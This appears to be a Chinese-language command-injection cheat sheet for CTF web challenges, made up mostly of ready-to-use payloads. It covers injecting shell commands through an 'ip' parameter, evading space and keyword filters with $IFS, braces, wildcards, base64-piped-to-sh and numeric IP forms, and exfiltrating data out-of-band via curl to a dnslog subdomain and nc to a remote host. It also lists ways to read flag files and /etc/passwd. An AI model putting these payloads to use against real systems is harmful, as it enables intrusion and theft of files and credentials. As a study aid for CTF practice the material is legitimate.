举例,ping命令判断存活主机

1
2
3
4
5
6
ping -c 1 -w 1 192.168.1.1 &> /dev/null && result=0 ||result=1
if [ "$result" == 0 ];then
echo "192.168.1.1 is UP!"
else
echo "192.168.2.1 is DOWN!"
fi

注意 &>要连起来写。

linux下

命令执行变量拼接

1
/?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php

过滤bash用sh执行

1
echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

内联执行

将反引号内命令的输出作为输入执行

1
?ip=127.0.0.1;cat$IFS$9`ls`

空格绕过

1
2
3
4
5
6
7
8
$IFS
${IFS}
$IFS$1 //$1改成$加其他数字貌似都行
<
<>
{cat,flag.php} //用逗号实现了空格功能
%20
%09
1
2
3
4
5
6
7
{cat,flag.txt}
cat${IFS}flag.txt
cat$IFS$9flag.txt
cat<flag.txt
cat<>flag.txt
kg=$'\x20flag.txt'&&cat$kg
(\x20转换成字符串就是空格,这里通过变量的方式巧妙绕过)

通配符绕过

???在linux里面可以进行代替字母

/???/c?t flag.txt

第三种是利用DNS管道解析

这里提供一个在线网址,可以直接进行给一个利用网址:admin.dnslog.link注册一个账号后会分配一个子域名可以利用

1
|curl `whoami`.xxxx.xxx(子域名) 

这样就会在利用网址看到反弹结果。(这里也不演示了,账号忘记了。。。)这里解释一下\whoami\因为`反引号在linux下是执行命令的特殊符号,原理请见:http://mp.weixin.qq.com/s/jwqWnP0FHhMoR5b6iCS6NQ

nc外带数据

本地监听端口

nc -lvp 9999

命令执行出 ping 127.0.0.0 & nc ip port > key.php

网络地址转化为数字地址

网络地址有另外一种表示形式,就是数字地址比如127.0.0.1可以转化为2130706433

可以直接访问

1
http://2130706433 

或者

1
http://0x7F000001 

这样就可以绕过.的ip过滤,这里给个转化网址:http://www.msxindl.com/tools/ip/ip_num.asp

1
2
3
%0acat%09
%0Acat$IFS$9
%0acat<

注释符

1
通过查看文件的权限 chmod +777赋予权限l's' -lac'h'm'o'd +777 /filename

花式绕过

cat:由第一行开始显示内容,并将所有内容输出
tac:从最后一行倒序显示内容,并将所有内容输出
more:根据窗口大小,一页一页的现实文件内容
less:和more类似,但其优点可以往前翻页,而且进行可以搜索字符
head:只显示头几行
tail:只显示最后几行
nl:类似于cat -n,显示时输出行号
tailf:类似于tail -f
Linux花式读取文件内容
ps:目标是获取flag.txt的内容

static-sh读取文件:

static-sh ./flag.txt
#输出结果:
./flag.txt: line 1: flag{this_is_a_test}: not found

paste读取文件:
paste ./flag.txt /etc/passwd

#输出结果:
flag{this_is_a_test} root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync

diff读取文件 :
diff ./flag.txt /etc/passwd

#输出结果:
1c1,45
< flag{this_is_a_test}
\ No newline at end of file

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync


od读取文件

od -a ./flag.txt
#输出结果:
0000000 f l a g { t h i s _ i s _ a _ t
0000020 e s t }
0000024

bzmore读取文件:

bzmore ./flag.txt
#输出结果:
------> ./flag.txt <------
flag{this_is_a_test}

bzless读取文件:
bzless ./flag.txt

echo bzless ./flag.txt
#输出结果:
------> ./flag.txt <------ flag{this_is_a_test}


curl读取文件:

curl file:///home/coffee/flag


nc 传输文件

靶机:

nc 10.10.10.10 4444 < /var/www/html/key.php

接受机:

nc -l 4444 > key.txt


wget

wget url -P path